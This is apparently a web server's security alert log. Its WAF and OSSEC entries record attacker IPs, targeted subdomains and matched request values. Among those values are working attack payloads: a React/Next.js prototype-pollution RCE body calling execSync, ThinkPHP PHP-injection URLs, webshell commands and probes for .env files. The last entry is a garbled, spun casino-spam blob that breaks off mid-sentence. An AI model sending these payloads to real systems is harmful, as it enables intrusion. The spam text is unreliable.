name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 34.77.79.113
country_id: 2802361
domain: nobisys.trangotech.dev
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:8.22||T:APACHE||REQUEST_URI:/wp-includes/wlwmanifest.xml||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 103.213.38.228
country_id: 1210997
domain: volta.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Macintosh; Intel Mac OS X 11_7_10) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 13.201.49.100
country_id: 1269750
domain: bts.trangotech.dev
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\", \"_response\": {\"_prefix\": \"var res=process.mainModule.require('child_process').execSync('echo $((41*271)) | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\", \"_chunks\": \"$Q2\", \"_formData\": {\"get\": \"$1:constructor:constructor\"}}}||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.15
country_id: 2750405
domain: netubia.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.c9/metadata/environment/.env||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77350559
name: IM360 WAF: Interaction with fake plugin
abuser: 100.52.217.245
country_id: 6252001
domain: cramar.trangotech.dev
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/custom-login-styler/cls-script.js||WPU:||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 100.52.217.245
country_id: 6252001
domain: cramar.trangotech.dev
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/138.0.7204.23 Safari/537.36||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 103.133.214.160
country_id: 1269750
domain: stephencohenlaw.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (X11; Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 213.128.70.19
country_id: 298795
domain: boat.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77277975
name: IM360 WAF: XMLRPC getUsersBlogs RBL brute
abuser: 157.22.46.65
country_id: 798544
domain: magnacrete.trangotech.dev
description:
IM360 WAF: XMLRPC getUsersBlogs RBL brute||Username:k7F&OXtFEUz@OD0(Nl3TiB#Y.magnacrete.trangotech.dev||Method:wp.getUsersBlogs


plugin: modsec
rule: 77093094
abuser: 85.11.167.19
country_id: 2750405
domain: argate.trangotech.dev
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"_response\":{\"_formData\":{\"get\":\"$1:constructor:constructor\"},\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('echo VULN_1782939799_4548',{'timeout':30000}).toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});\"},\"reason\":-1,\"status\":\"resolved_model\",\"then\":\"$1:__proto__:then\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\"}||RSV:8.22||T:APACHE||


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 180.251.182.196
country_id: 1643084
domain: bookemfarm.trangotech.dev
description:
IM360 WAF: Track file upload for Infectors||RSV:8.22||T:APACHE||SC:/home/bookemfarmtrang/public_html/wp-content/plugins/ejlucde6wtu92z98ofc2/6egnbfqljrqspciqkrm1rCmass.php||User:bookemfarmtrang||WPU:||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 180.251.182.77
country_id: 1643084
domain: staging.marktechfusion.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/150.0.0.0 Safari/537.36||RSV:8.22||T:APACHE||


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 180.251.182.196
country_id: 1643084
domain: staging.marktechfusion.com
description:
IM360 WAF: Track file upload for Infectors||RSV:8.22||T:APACHE||SC:/home/stagingmarktech/public_html/wp-content/plugins/cbe2j72uh9jop6fjy5fx/dcd6daisshc7jfs4vc2po5Cmass.php||User:stagingmarktech||WPU:||


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 110.249.201.226
country_id: 1814991
domain: bookemfarm.trangotech.dev
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; https://zhanzhang.toutiao.com/)||RSV:8.22||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 173.208.129.218
country_id: 6252001
domain: staging.marktechfusion.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:173.208.129.218||TA:173.208.129.218||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 114.79.1.211
country_id: 1643084
domain: staging.marktechfusion.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/136.0.7103.25 Safari/537.36||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77350941
name: IM360 WAF: PHP code tags in REQUEST_URI
abuser: 192.42.116.93
country_id: 2750405
domain: drop2trade.trangotech.dev
description:
IM360 WAF: PHP code tags in REQUEST_URI||MV:/index.php?s=/user/think\\app/invokeMethod&method[0]=think\\view\\driver\\Php&method[1]=display&vars[0]=<?php echo md5('a3233a3800f8cba9dd419d1997d27412');||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77350941
name: IM360 WAF: PHP code tags in REQUEST_URI
abuser: 185.220.101.175
country_id: 2921044
domain: drop2trade.trangotech.dev
description:
IM360 WAF: PHP code tags in REQUEST_URI||MV:/index.php?s=//think\\app/invokeMethod&method[0]=think\\view\\driver\\Php&method[1]=display&vars[0]=<?php echo md5('a3233a3800f8cba9dd419d1997d27412');||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77350941
name: IM360 WAF: PHP code tags in REQUEST_URI
abuser: 193.189.100.195
country_id: 2661886
domain: drop2trade.trangotech.dev
description:
IM360 WAF: PHP code tags in REQUEST_URI||MV:/index.php?s=/admin/think\\app/invokeMethod&method[0]=think\\view\\driver\\Php&method[1]=display&vars[0]=<?php echo md5('a3233a3800f8cba9dd419d1997d27412');||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77350941
name: IM360 WAF: PHP code tags in REQUEST_URI
abuser: 204.137.14.106
country_id: 2750405
domain: drop2trade.trangotech.dev
description:
IM360 WAF: PHP code tags in REQUEST_URI||MV:/index.php?s=/home/think\\app/invokeMethod&method[0]=think\\view\\driver\\Php&method[1]=display&vars[0]=<?php echo md5('a3233a3800f8cba9dd419d1997d27412');||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77350941
name: IM360 WAF: PHP code tags in REQUEST_URI
abuser: 192.42.116.19
country_id: 2750405
domain: drop2trade.trangotech.dev
description:
IM360 WAF: PHP code tags in REQUEST_URI||MV:/index.php?s=/index/think\\app/invokeMethod&method[0]=think\\view\\driver\\Php&method[1]=display&vars[0]=<?php echo md5('a3233a3800f8cba9dd419d1997d27412');||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77350941
name: IM360 WAF: PHP code tags in REQUEST_URI
abuser: 185.254.196.141
country_id: 690791
domain: drop2trade.trangotech.dev
description:
IM360 WAF: PHP code tags in REQUEST_URI||MV:/index.php?s=/api/think\\app/invokeMethod&method[0]=think\\view\\driver\\Php&method[1]=display&vars[0]=<?php echo md5('a3233a3800f8cba9dd419d1997d27412');||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77140884
name: IM360 WAF: RBL track known shells
abuser: 101.99.88.90
country_id: 1733045
domain: bookemfarm.trangotech.dev
description:
IM360 WAF: RBL track known shells||MVN:ARGS:p1||WPU:||RSV:8.22||T:APACHE||MV:chmod 0777 .||SC:/home/bookemfarmtrang/public_html/6egnbfqljrqspciqkrm1rCdefault.php||


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 101.99.88.90
country_id: 1733045
domain: bookemfarm.trangotech.dev
description:
IM360 WAF: Track file upload for Infectors||RSV:8.22||T:APACHE||SC:/home/bookemfarmtrang/public_html/6egnbfqljrqspciqkrm1rCdefault.php||User:bookemfarmtrang||WPU:||


plugin: modsec
rule: 77140884
name: IM360 WAF: RBL track known shells
abuser: 101.99.88.90
country_id: 1733045
domain: staging.marktechfusion.com
description:
IM360 WAF: RBL track known shells||MVN:ARGS:p1||WPU:||RSV:8.22||T:APACHE||MV:chmod 0777 .||SC:/home/stagingmarktech/public_html/wp-content/plugins/UuAFIYGYKdefault.php||


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 101.99.88.90
country_id: 1733045
domain: staging.marktechfusion.com
description:
IM360 WAF: Track file upload for Infectors||RSV:8.22||T:APACHE||SC:/home/stagingmarktech/public_html/wp-content/plugins/UuAFIYGYKdefault.php||User:stagingmarktech||WPU:||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 121.200.217.58
country_id: 1562822
domain: pics2report.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (X11; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0||MV:/wp-json/wp/v2/users/me||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 206.189.34.12
country_id: 1880251
domain: magnacrete.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 80.94.95.211
country_id: 798549
domain: 38.95.35.74:443
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/app_dev.php/_profiler/.env||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77350582
name: IM360 WAF: Bytedancewebview detected
abuser: 140.179.148.12
country_id: 1814991
domain: fendahl.trangotech.dev
description:
IM360 WAF: Bytedancewebview detected||UA:Mozilla/5.0 (Linux; Android 10; HD1900 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/75.0.3770.156 Mobile Safari/537.36  aweme_230400 JsSdk/1.0 NetType/WIFI  AppName/aweme app_version/23.4.0 ByteLocale/zh-CN Region/CN AppSkin/white AppTheme/light BytedanceWebview/d8a21c6 WebView/075113004008||RSV:8.22||T:APACHE||


plugin: ossec
rule: 9703
name: Dovecot is Starting Up.
description:
Jul  2 05:11:05 staging dovecot[412896]: master: Dovecot v2.4.2 (0962ed2104) starting up for lmtp, imap, pop3, sieve


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.45.237.176
country_id: 6252001
domain: terrazzo.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/server/laravel/.env||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 34.156.70.250
country_id: 2802361
domain: staging.marktechfusion.com
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:8.22||T:APACHE||REQUEST_URI:/blog/wp-includes/wlwmanifest.xml||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 20.78.33.180
country_id: 1861060
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/config/.env.production||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 54.227.170.134
country_id: 6252001
domain: fendahl.trangotech.dev
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/114.0.5735.133 Safari/537.36||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 62.60.234.141
country_id: 458258
description:
[2026-07-02 11:27:40 -0400] info [whostmgrd] 62.60.234.141 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.238.110.11
country_id: 6252001
description:
[2026-07-02 12:42:14 -0400] info [whostmgrd] 104.238.110.11 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 143.244.47.86
country_id: 6252001
domain: clowntown.trangotech.dev
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/148.0.7778.96 Safari/537.36||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 188.149.179.135
country_id: 2661886
domain: magnacrete.trangotech.dev
description:
IM360 WAF: Possible XSS in arguments||MV:<meta name=\"description\" content=\"players can employ this chart in order to help them calculate their hand's value in blackjack. \"/><h1>\"blackjack instantly play black jack online for free of charge!</h1><div id=\"toc\" style=\"background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;\"><p class=\"toctitle\" style=\"font-weight: 700;text-align: center;\">content</p><ul class=\"toc_list\"><li><a href=\"#toc-0\">mik\xc3\xa4 tekee playojosta niin mahtavan nettikasinon? </a></li><li><a href=\"#toc-1\">counting cards in blackjack in four steps</a></li><li><a href=\"#toc-2\">blackjack online</a></li><li><a href=\"#toc-3\">expected returns along with infinite decks</a></li><li><a href=\"#toc-4\">how indie builders keep casual games new without copying the particular same old formulas</a></li><li><a href=\"#toc-5\">casino</a></li><li><a href=\"#toc-6\">how significantly is a full worth in blackjack? </a></li><li><a href=\"#toc-7\">splitting strategy for the again players</a></li><li><a href=\"#toc-8\">let's play</a></li><li><a href=\"#toc-9\">side bets</a></li><li><a href=\"#toc-10\">blackjack 1v1 online \xe2\x80\x93 rules & how to be able to play</a></li><li><a href=\"#toc-11\">key rules to follow when playing online blackjack</a></li><li><a href=\"#toc-12\">dealer exposes both cards</a></li><li><a href=\"#toc-13\">one blackjack</a></li><li><a href=\"#toc-14\">game of the week</a></li><li><a href=\"#toc-15\">fun specifics about card games</a></li><li><a href=\"#toc-16\">double along rules</a></li><li><a href=\"#toc-17\">deposits & withdrawals at true money online casinos</a></li><li><a href=\"#toc-18\">card games</a></li><li><a href=\"#toc-19\">can you really win at blackjack online in 2026? </a></li><li><a href=\"#toc-20\">house money</a></li><li><a href=\"#toc-21\">free online games</a></li><li><a href=\"#toc-22\">s blackjack side bet</a></li><li><a href=\"#toc-23\">baseball america guide: the reason why baseball games rely on real participant analytics</a></li><li><a href=\"#toc-24\">online blackjack vs additional casino games</a></li><li><a href=\"#toc-25\">your favorite games edit</a></li><li><a href=\"#toc-26\">blackjack 247 - exactly how to play blackjack</a></li><li><a href=\"#toc-28\">bet the fixed progressive</a></li><li><a href=\"#toc-29\">about the wizard of\xc2\xa0odds</a></li><li><a href=\"#toc-34\">double after splitting only ones best allowed</a></li></ul></div><p>in 2026, most online internet casinos offer great free of charge apps to play genuine money blackjack games from smartphones and even tablets.  as an individual play blackjack, you might notice online internet casinos offer additional wagers in the sport.  these side wagers come with even more risks but provide players potentially bigger payouts.\" \"[newline]side bets may end up being fun to create, but wagers just like insurance also can drain your bankroll in the event that you don't know how to play them.  check out our aspect bets guide to find out betting regulations for these special bets.  few players know how much effect hard and smooth hands have on their chances regarding winning in blackjack.  players starting using a soft hand can never breast, even though they acquire an additional cards.</p><p>the opponent is usually the house, we. e. all participants play against the particular house / supplier with face up cards in the centre associated with the table.  unlike in other greeting card games, in blackjack, you bet ahead of you\xe2\x80\x99ve been treated any cards.  at 247blackjack, you\xe2\x80\x99ll have got $2, 500 associated with virtual money to try out with.  it\xe2\x80\x99s far better to start with a new low wager in the first several rounds until you\xe2\x80\x99ve got the hang of gameplay.  if you\xe2\x80\x99re new to be able to the overall game, then typically the good news is that blackjack is really an easy task to play.  in fact, one regarding the key main reasons why it became and so popular in the first place will be that anyone can easily learn to participate in within a matter of minutes <a href=\"https://blackjack-for-canuck.com/\">blackjack online</a>.</p><h2 id=\"toc-0\">mik\xc3\xa4 tekee playojosta niin mahtavan nettikasinon? </h2><p>in a shoe sport, you are generally allowed to re-split\" \"as much as 3 times.  using our free black jack trainer is simple and straightforward.  you can press deal to begin immediately, or customize the particular options to simulate the version regarding blackjack that you would like to practice.  the black jack chart under \xe2\x80\x9chelp\xe2\x80\x9d will update according to the options and guidelines of the sport.</p><p>when some sort of queen is associated with an ace, the ball player hits blackjack.  as a result, encounter cards are an integral element in any blackjack strategy.  ace cards are really worth either 11 or one in blackjack \xe2\x80\x94 it will depend on for the player's option.  paired with a new face card (jack, queen, or king) an ace could make blackjack, which is why it is a popular card with players.</p><h3 id=\"toc-1\">counting cards in black jack in four steps</h3><p>most blackjack standard strategy charts are usually said to be \"total dependent.  once you\xe2\x80\x99ve set up the table to your linking, the blackjack chart will update itself to show the optimum black jack technique to play.  this will overlay the particular chart and show you the appropriate move for your current last play.  sign up, make your own first deposit, in addition to claim our encouraged offer without gambling requirements (terms apply).  it\xe2\x80\x99s part of our own dedication to good play and is also another reason why we\xe2\x80\x99re a top vacation spot to savor online black jack in canada.  cardzmania helps several customizable guidelines and options therefore you can perform blackjack exactly how you prefer or exactly how you grew up enjoying with your buddies and family.</p><ul><li>each of such subgroups is recognised simply by a symbol and are referred to as suits. </li><li>before applying earning strategies, it is usually important to know how to participate in blackjack online. </li><li>your objective is to associated with perfect strategic choice each time. </li><li>the regulation regarding online casinos within the united declares is complex, in addition to are primarily governed at the express level. </li><li>perfect simple strategy minimizes typically the casino's favor plus reduces the residence edge to because low as zero. 5 percent in some online blackjack online games. </li></ul><p>blackjack is definitely an immensely well-known casino-style card game, with millions of fans playing this online worldwide.  from a mathematical standpoint, the game regarding single-deck blackjack is the greatest one to play.  the united empire gambling commission (ukgc) is the principal regulatory authority managing all forms involving gambling, including online casinos, within the particular uk.  the ukgc ensures that employees meet stringent standards for fairness, protection, and responsible wagering.</p><h3 id=\"toc-2\">blackjack online</h3><p>here we'll walk you through the inches and outs of managing your money at real funds online casinos, making sure an easy and secure gaming experience.  if you're looking with regard to an online blackjack casino that still retains that old-school vegas glamor, seek out betmgm casino.  as an online true money blackjack casino, it gives an individual everything you will need to explore the particular ins and outs of typically the game.</p><ul><li>when you participate in a card online game online like blackjack, this isn't constantly possible. </li><li>pick from top rated trusted canadian settlement methods like visa for australia and interac. </li><li>if a player and supplier tie though, typically the player's original guess becomes a 'push' as well as the dealer results it. </li><li>for example, an individual win\" \"2x if you get by standing on 17, or 5x on a winning 8x. </li><li>we\xe2\x80\x99re proud to support an mga license and comply with all regulations plus software testing treatments to guarantee the games we offer also have entirely random outcomes. </li></ul><p>you can see of which the dealer provides a three and even an unnamed greeting card, which would give them an excellent possibility of beating 14.  remember that the particular goal of typically the game is not really just to get as close to twenty-one as possible but to be able to beat the dealer and win whenever possible.  choose your repayment method, enter the deposit amount and even the actual instructions in order to complete the purchase.</p><h2 id=\"toc-3\">expected returns along with infinite decks</h2><p>blackjack methods help players to optimize their chances regarding winning.  though that might not appear like it at first, the dealer includes a pretty big benefits \xe2\x80\x94 you\xe2\x80\x99ll end up being playing your hand without knowing precisely what they\xe2\x80\x99ll have.  you\xe2\x80\x99ll take chances of which you otherwise wouldn\xe2\x80\x99t if the supplier had already finished their hand.  the dealer wouldn\xe2\x80\x99t believe that need if you\xe2\x80\x99d stood on sixteen; they would already have won.</p><p>face cards are usually the most effective cards a player could possibly get in blackjack.  aces give players more flexibility in their moves, and whenever paired with one other face card, just like a king, can offer players blackjack plus the fatigue dealer.  an ace also establishes whether a player has a hard or soft side in blackjack.  you can play any one of our rng black jack games for free of charge on desktop or perhaps mobile, anytime.</p><h2 id=\"toc-4\">how indie builders keep spielchen refreshing without copying the same old formulas</h2><p>after that card will be assigned, your circular is over; a person won\xe2\x80\x99t have the option to\" \"strike.  on 247blackjack, it looks like this \xe2\x80\x94 be aware the \xe2\x80\x98double\xe2\x80\x99 key on the top left hand with the page.  if typically the dealer shows 8 or higher, don\xe2\x80\x99t stand on some sort of hard 12\xe2\x80\x9316\xe2\x80\x94hit as an alternative to try enhancing your hand.  you get if your hand\xe2\x80\x99s value is larger than the dealer\xe2\x80\x99s without exceeding 21 years old.  you chat with them and touch upon your hands exactly because you would do when you were playing live at a new regular casino.</p><ul><li>start with your own virtual chips and put your simple strategy to typically the test\xe2\x80\x94double your bet when the odds are right or even go for an extra card to find nearer to 21. </li><li>background songs is minimal plus ambient, featuring gentle lounge jazz that will fits the on line casino theme without overwhelming strategic decisions. </li><li>blackjack approach and luck have roles to participate in because players must make fast decisions that have long-term effects. </li><li>you can start by contacting the blackjack chart to help you make the particular right decisions. </li><li>the finest strategy to win at online black jack is to adhere to a mathematically tested basic strategy data. </li></ul><p>unlike holdem poker, blackjack is the fast-paced gambling video game where the actual house edge, selecting the best option, and acting in the right time can make all the particular difference.  alongside a variety of other popular gambling establishment games, blackjack is probably the top picks plus favorites on pokerstars casino.  as effectively as being the incredibly well-known brand name, pokerstars gives a range of real funds blackjack games and even a safe, trusted environment by which to be able to play.</p><h3 id=\"toc-5\">casino</h3><p>focus upon learning blackjack guidelines, using basic method charts, managing your own bankroll and steering clear of risky side gambling bets.  the popular online casino card game blackjack online is more than merely luck; it is a combine of skill in addition to chance.  blackjack technique and luck have roles to play because players must make fast choices that have long-term effects.</p><ul><li>many wonder if it\xe2\x80\x99s possible to enjoy blackjack at minimal deposit online internet casinos, in which the financial determination is lower, making this accessible to a lot more casual players. </li><li>if you\xe2\x80\x99re new to be able to the game, then the good news is that blackjack is really simple to play. </li><li>where dealer guidelines differ in black jack though is whenever it comes in order to\" \"gambling bets. </li><li>to start learning optimal blackjack approach, you should purely the actual plays defined inside our blackjack chart. </li></ul><p>house money can be a blackjack side bet by shuffle master/bally gaming.  as the name implies, this will be a blackjack area bet with a progressive jackpot.  the wizard explains and analyzes the blackjack part bet perfect eleven.  the dealer overall side bets usually are a set regarding five side bets on the dealer's final...  this page indicates the player's anticipated return for any kind of initial hand.  players determine a collection amount of rounds (also known as arms or deals) that the\" \"online game will go to be able to (instead of the particular points selection above).</p><h2 id=\"toc-6\">how significantly is a full worth in black jack? </h2><p>while no system guarantees profits every period, blackjack offers far better odds than almost all casinos games when played\" \"appropriately.  basic strategy graphs account for regardless of whether you have a hard hand, soft hand or paired hand and if the dealer displays an ace, 12 or lower greeting card.  many online black jack sites allow participants to reference blackjack charts during participate in.  before applying earning strategies, it is usually important to realize how to enjoy blackjack online.  it's the same with new online internet casinos and also established ones.  certain blackjack video games have side bets that you may make in addition to gambling on your primary hand.</p><ul><li>however, several live dealer black jack games with sluggish shuffles could help make limited card traffic monitoring possible, though typically the advantage is usually very small and difficult to keep. </li><li>the game has remembered your previous bet and instantly made a new wager. </li><li>you talk with these people and discuss your hands exactly as you should do in case you were playing live at the regular casino. </li><li>these\" \"graphs are often referred to as blackjack charts or method charts. </li><li>you\xe2\x80\x99ll get the feel for what an individual need to perform after you\xe2\x80\x99ve played blackjack for a time. </li></ul><p>some blackjack games, like vegas black jack, sees the supplier hit on a new soft 17, although the dealer should stand on just about all hands of seventeen in variations just like european blackjack.  an all-new gaming platform and stupendous gambling establishment bonus promotions create partycasino a top site to try out on the web blackjack games with regard to real money.  when it comes in order to uk casinos, and even especially those that are experts in table games, it's hard to seem past sky on line casino.</p><h3 id=\"toc-7\">splitting method for the back again players</h3><p>if you don't have a new fortune to participate in blackjack, you better look at what are the best bonuses to get an individual started.  when it comes to blackjack specifically, novices in addition to seasoned online blackjack strategists alike may find themselves well-catered for at bet365 casino.  you may play versions regarding the classic video game like premium black jack, free chip blackjack, and everything bets blackjack.  the 21 3 black jack is actually a fun variant of the table video game that has a selection of side gambling bets.  side bets contain winning pairs, throughout addition to suitable trips, three-of-a-kind and even an aligned remove.</p><p>the game is probably not while fast as digital online blackjack, yet nothing beats typically the experience of contending against a skilled dealer.  while gambling at two tribe casinos was permitted in the 2023 bill, it\xe2\x80\x99s often nice when there\xe2\x80\x99s a skill factor involved too.  that\" \"indicates theres a larger jackpot in retail store for you if you put more coins into each rewrite, teen patti is straightforward to learn and play.  play blackjack online for free to many united kingdom players, a tyre is launched that multiplies your winnings.  one blackjack is a live single-hand black jack game with minimal house edge, making it a high-rtp choice compared to a lot of slots averaging 96%.  in blackjack game titles, players can alter the value of the ace throughout their turn based on what greeting cards the dealer offers them.</p><h2 id=\"toc-8\">let's play</h2><p>along with verbalizing their decisions, gamers should use hands signals to inform the dealer regarding their intentions hanging around.  occasionally the dealer and a participant will both have typically the same hand price in a black jack game.  when this kind of happens, the player's original bet turns into a 'push' and the dealer returns that to them.  our blackjack overview offers players a renew around the game; in case you want in order to learn how to play blackjack plus win more usually though, look at our guide below.  mathematically correct strategies in addition to information for online casino games like blackjack, craps, roulette in addition to hundreds of others that could be played.  you will get games held by world regarding card games within this page, offering an excellent selection of typical games to enjoy.</p><ul><li>cardzmania supports several customizable guidelines and options so you can play blackjack exactly precisely how you want or precisely how you were raised actively playing with your buddies and family. </li><li>these kinds of statements sound quite ordinary when you talk concerning the number two, roulette. </li><li>each suit contains 13 greeting cards which, generally, are usually considered in this order, ace (a), 2, 3, 5, 5, 6, several, 8, 9, twelve, jacks (j), california king (q) and ruler (k). </li><li>our free blackjack game puts a person up against\" \"an electronic digital dealer and difficulties you to defeat a computer designed in order to win at all costs. </li><li>whether you must hit or stand will depend on the dealer's upcard. </li><li>this means the participant has neither received nor lost anything in that circular of the game. </li></ul><p>there are a couple of notes to help make when reading our own blackjack charts.  first, the x mark \xe2\x80\x93 surrender/hit \xe2\x80\x93 which means that if the table allows surrender, then you need to surrender your hands.  after the initial two cards are usually dealt, if the person believes they will lose, they can give up, or bow out of your game, and only lose half associated with their original bet.  even people who\xe2\x80\x99ve never played blackjack before know about keeping track of cards, the sophisticated method to beat the particular house.</p><h3 id=\"toc-9\">side bets</h3><p>most people suppose the objective regarding blackjack is to get some sort of hand as close up to 21 as possible.  in reality, the aim is to defeat the dealer's palm without groing through 21.  it's a little variation but an essential one, as participants can often win on lesser fingers by waiting intended for the dealer to bust.  this will be just one example of how knowing black jack rules thoroughly may help new gamblers play smarter.</p><p>without further postpone, let's get to be able to the most effective casinos in order to play online black jack in 2026.  when you play black jack online, you\xe2\x80\x99ll usually choose between reside dealer tables plus rng games.  the core rules remain the same, but you\xe2\x80\x99ll either become playing a digital game or perhaps a game hosted with a real-life dealer.  live blackjack combines online table games with the particular thrill of visiting vegas or one of your favorite brick-and-mortar casinos.  plus, the best survive blackjack games will be available to play twenty four hours at many sites.</p><h2 id=\"toc-10\">blackjack 1v1 online \xe2\x80\x93 guidelines & how to be able to play</h2><p>you want to win as many times as possible\xe2\x80\xa6 and spend since little as feasible.  when you play a card game online like black jack, this isn't constantly possible.  spanish twenty one \xe2\x80\x93 all typically the tens get removed from the porch, which obviously alterations the odds.  to compensate, you find more player-friendly guidelines like late give up plus the option in order to double down after splitting.  evolution gaming\xe2\x80\x99s lightning blackjack makes use of some of typically the same random multiplier features as it is successful lightning roulette game.</p><ul><li>after that card is assigned, your rounded is over; a person won\xe2\x80\x99t have the option to\" \"struck. </li><li>you\xe2\x80\x99ve been dealt another a couple of, so now a person have sixteen, which is not a new great hand. </li><li>agree on betting limitations before the online game begins to avoid distress. </li><li>the hot 3 is a blackjack part bet used within the infinite blackjack game by... </li></ul><p>we also recommend proclaiming numerous casino additional bonuses since you can, including zero deposit casino additional bonuses.  doubling down allows players to double their initial guess after receiving a couple of cards as a swap intended for one additional greeting card.  when you divided pairs, you create separate hands in 